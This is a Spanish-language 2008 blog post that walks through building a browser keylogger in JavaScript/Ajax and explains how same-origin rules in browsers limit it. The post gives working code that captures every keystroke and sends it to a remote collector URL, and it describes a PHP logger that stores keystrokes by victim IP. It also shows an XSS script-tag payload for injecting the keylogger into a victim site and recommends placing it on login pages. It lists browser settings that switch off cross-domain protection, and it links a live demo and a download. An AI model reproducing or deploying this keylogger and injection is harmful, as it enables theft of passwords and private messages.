Keylogger en Ajax y la seguridad de los navegadores (XmlHttpRequests)
August 8th, 2008 by BusindreLos keyloggers como sabemos son programas (Software) o aparatos (Hardware) encargados de capturar las pulsaciones de teclado de los usuarios, son usados con todo tipo de fines, desde monitorizar a los empleados de una empresa a espiar a un determinada persona de la cual se quiera obtener información. En este post trataremos de mostrar la posibilidad de uso de un keyloggger vía web usando tecnología Ajax y como los actuales navegadores intentan asegurar nuestra navegación limitando determinadas funcionalidades de Ajax que de ser mezcladas con ataques XSS abrirían nuevos vectores de ataques muy golosos para mucha gente. Cuando hablamos de keyloggers en javascript se habla de Ajax, ya que gracias a esta tecnología podemos interceptar teclas en cualquier parte de la web y sin tener que refrescar la pagina web que contiene el keylogger a cada pulsación de teclado o cada vez que enviemos datos, lo cual haría sospechar a los usuarios de la web de que algo raro ocurre, la creación de este tipo de keyloggers no tiene ninguna complicación y está al alcance de cualquiera el poder implementarlos.
El Cross-site Scripting o XSS es una técnica para aprovechar problemas de seguridad en páginas web relacionado con el tema de validación de datos entrantes, Xss consiste en insertar código web (VBScript, Html, javascript,..) en una aplicación, normalmente web, para diversos fines, desde un simple deface a phising o robo de cookies,..
¿Como se hace un Keylogger en Javascript + XML (Ajax)?
if (!e) e = window.event;
var unicode = e.charCode ? e.charCode: e.keyCode;
var mod = (e.ctrlKey) ? 'Ctrl-': (e.altKey) ? 'Alt-': (e.shiftKey) ? 'Shift-': '';
var keya = mod + String.fromCharCode(unicode);
makeRequest('http://www.servidor.com/keylogger.php?k=' + keya);
}
function makeRequest(url) {
var xmlHttp = null;
try {
xmlHttp = new XMLHttpRequest();
} catch(e) {
try {
xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}
}
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4) try {
if (xmlHttp.status == 200) {}
} catch(e) {}
}
xmlHttp.open('get', url);
xmlHttp.send(null);
Necesitamos capturar eventos del teclado, por lo tanto lo primero que hay que hacer es "decirle" al navegador que queremos capturar esos eventos mediante la linea:
document.onkeydown
Una vez capturada una tecla, la enviamos (XMLHttpRequest) a un fichero de texto mediante la función makeRequest donde quedará guardado lo tecleado sobre dicha web que estamos visionando, independientemente de si se encuentra el cursor sobre un formulario o no. Por ejemplo, de usar en el navegador la búsqueda de texto según se tecleamos lo que queremos buscar, dichas pulsaciones serían capturada perfectamente por el keylogger. En resumen, cualquier pulsación de teclado con la web que contiene el keylogger en primer plano sera capturada, pero lógicamente no se capturan si el cursor se dirige a la parte de URL del navegador, ya que eso no es parte de la web y javascript no puede actuar sobre eso.
XMLHttpRequest es una API que permite al cliente mediante lenguaje JavaScript realizar conexiones HTTP para enviar datos, texto plano, XML, JSON,.. Nosotros lo usamos para enviar las pulsaciones de teclado a una determinada dirección donde son recogidas y archivadas.
Fichero que recoge las pulsaciones de teclado (Php):
Este fichero escrito en Php recibe mediante el método Get la pulsación de la tecla guardándola en un fichero de texto plano que tiene como nombre la dirección ip del usuario, cada persona que use el keylogger tendrá su propio fichero txt en el servidor donde se aloje el documento php, no olvidar que este fichero necesita tener permisos de escritura sobre el directorio en el que guardarán dichos archivos de texto con lo capturado. Una vez tenemos el keylogger en javascript y el fichero php en un servidor, solo debemos usarlo para comprobar que captura la pulsaciones correctamente, en el caso del ejemplo propuesto funciona de forma correcta en navegadores Firefox.
Como hemos visto es muy fácil crear un keylogger en javascript, pero para poder insertarlo en un determinado sitio necesitamos acceso al servidor que contiene dicha web, ademas de permisos de escritura para poder editar el documento web que activará el script para robo de contraseñas o cualquier otro tipo de fin. De insertarlo por ejemplo en una aplicación web de correo electrónico, tendríamos la posibilidad de averiguar que ha escrito el usuario que redacta el correo, se use ssl, gpg o cualquier tipo de cifrado. Esto es solo una posibilidad teórica, está claro que teniendo acceso al server y privilegios de escritura, se podría editar al gusto la aplicación web para que realizara lo que nosotros queremos, no solo capturar el contenido de los mails.
Cuando el server web no es nuestro y lógicamente no tenemos acceso a el, la mejor forma de integrar un keylogger sin vulnerar el servidor sería con el uso de técnicas Cross-site scripting (XSS), aprovechando una supuesta vulnerabilidad de la pagina visitada que nos permita integrar el script keylogger en el código html de la pagina web afectada y así esnifar todas las pulsaciones de teclado que los usuarios presionen sobre ese documento web, lo preferible sería colocar el script en una zona de logueo. Como vemos con Ajax y XSS se abren muchos abanicos de posibilidades interesantes para los atacantes, pero los navegadores han reaccionado muy rápidamente impidiendo en su configuración predeterminada dicha posibilidad de enviar datos o usar código Ajax no procedente del mismo dominio que se esté visualizando. Esta negación por parte del navegador al realizar llamadas a otros dominios (Cross Domain) la vemos reflejada en la consola de error de javascript de esta forma:
Ingles:
uncaught exception: permission denied to call XmlHttpRequest.open
Español:
Error: uncaught exception: Permiso denegado al llamar al método XMLHttpRequest.open
Este "error de seguridad" ocurre al querer acceder a una página fuera del dominio visitado o bien si estamos dentro del mismo domino, suele suceder por despistes del programador que escribe la URL referenciando al mismo dominio pero de formas distintas, ya sea por no poner la URL siempre de la misma manera (http://www.dominio.com - http://dominio.com) o por temas de IP (127.0.0.1 - localhost). Si queremos solventar el error de XmlHttpRequest, el tráfico y llamadas entre scripts de Ajax deben usar el mismo nombre de dominio. Esto como es de suponer resta de posibilidades de uso a Ajax pero en contraposición aumenta la seguridad evitando este tipo de ataques, debido al porcentaje de webs afectadas por XSS en la actualidad, permitir este tipo acciones es abrir las puertas a un sinfín de nuevas posibilidades de ataque que pone en peligro a los internautas.
Como anteriormente comentábamos esta medida de seguridad recae sobre el navegador, NO sobre javascript / Ajax, por lo que al modificar la configuración de un navegador se permitiría realizar Cross Domain y en nuestro caso posibilitaría el uso de ataques XSS usando keyloggers en javascript.
¿Como modifico el navegador para evitar errores con XMLHttpRequest.open?
* Internet Explorer:
Opciones de Internet > Seguridad > Nivel Personalizado > Tener acceso a origen de datos entre dominios.
NOTA: Supuestamente el navegador de Windows ofreció esta medida de seguridad a partir del SP2.
* Firefox:
Escribimos "about:config" como URL
Buscamos la opción "signed.applets.codebase_principal_support" y cambiamos su valor a "true"
Cerramos todas la ventanas del navegador
Editamos el fichero "preference.js" de nuestro home ~/.mozilla/firefox/xxxxxxxx.default/prefs.js y añadimos las siguientes lineas:
user_pref("capability.policy.default.XMLHttpRequest.open", "allAccess");
user_pref("capability.policy.default.CDATASection.nodeValue", "allAccess");
user_pref("capability.policy.default.Element.attributes", "allAccess");
user_pref("capability.policy.default.Element.childNodes", "allAccess");
user_pref("capability.policy.default.Element.firstChild", "allAccess");
user_pref("capability.policy.default.Element.getElementsByTagName", "allAccess");
user_pref("capability.policy.default.Element.tagName", "allAccess");
user_pref("capability.policy.default.HTMLCollection.length", "allAccess");
user_pref("capability.policy.default.HTMLCollection.item", "allAccess");
user_pref("capability.policy.default.Text.nodeValue", "allAccess");
user_pref("capability.policy.default.XMLDocument.documentElement", "allAccess");
user_pref("capability.policy.default.XMLDocument.getElementsByTagName", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.channel", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.open", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.responseText", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.responseXML", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.send", "allAccess");
user_pref("capability.policy.default.XMLHttpRequest.setRequestHeader", "allAccess");
NOTA: En Sistemas Windows el fichero esta en C:\Documents and Settings\{USERNAME}\ApplicationData\Mozilla\Firefox\Profiles\{ID_FIREFOX}\prefs.js
Con esta configuración del navegador ya podemos hacer uso de XMLHttpRequest para que apunte a otros dominios ajenos al lugar donde se alberga el código Ajax. Estas modificaciones permite hacer vulnerable a un navegador, un vector de ataque sería editar de forma manual la configuración o crear algún script que lo hiciera,.. El navegador Internet Explorer, una vez configurado para permitir Cross Domain y haciendo uso de este tipo de solicitudes, pide autorización por medio de una ventanita avisando al usuario de que se van a enviar datos a otro lugar ajeno al que estamos visitando, el navegador Firefox sin embargo, no muestra ningún tipo de aviso.
Prueba de concepto:
1.- Visitar en una pestaña nueva: http://www.busindre.com/key.html
2.- Escribir lo que queramos teniendo ese html en primer plano.
3.- Visualizar captura de teclas: http://www.busindre.com/data/38.103.63.60.txt
Descargar prueba de concepto: http://blogtop.lv/box/k.zip
Como vemos en local funciona correctamente, como decíamos anteriormente si quisiéramos usar un XSS para integrar el javascript en una web vulnerable, el keylogger no funcionaría ya que las premisas de seguridad del navegador lo impedirían. suponiendo que integramos un Xss como el siguiente en una pagina de un supuesto www.victima.com.
<script type="text/javascript" src="http://www.servidor.com/keylogger.js"></script>
<!--XSS end -->
Tendríamos este escenario en juego:
La web con XSS insertado (www.victima.com)
Servidor donde se encuentra el script JS que el XSS inserta en la web (www.server.com)
Servidor donde está el fichero PHP o CGI encargado de guardar las pulsaciones. (www.server.com)
Al no ser los tres iguales, XMLHttpRequest no puede pedir datos de otro dominio indicándonos el error en la consola de javascript. Siempre hay que usar el mismo dominio, aunque estemos en local este escenario también daría error ya que no se indicaron las "www".
La web con XSS insertado (www.server.com)
Servidor donde se encuentra el script JS que el XSS inserta en la web (www.server.com)
Servidor donde está el fichero PHP o CGI encargado de guardar las pulsaciones. (server.com)
Enlaces de Interés:
Robar cuentas Rapidshare XSS
Descripción De XMLHttpRequest
Programando para que no importe la URL
Ajax y XSS:
Mirror 1: http://4party.cuatrovientos.org/files/xssjavascript.pdf
Mirror 2: http://www.busindre.com/archivos/xssjavascript.pdf
Posted in How To |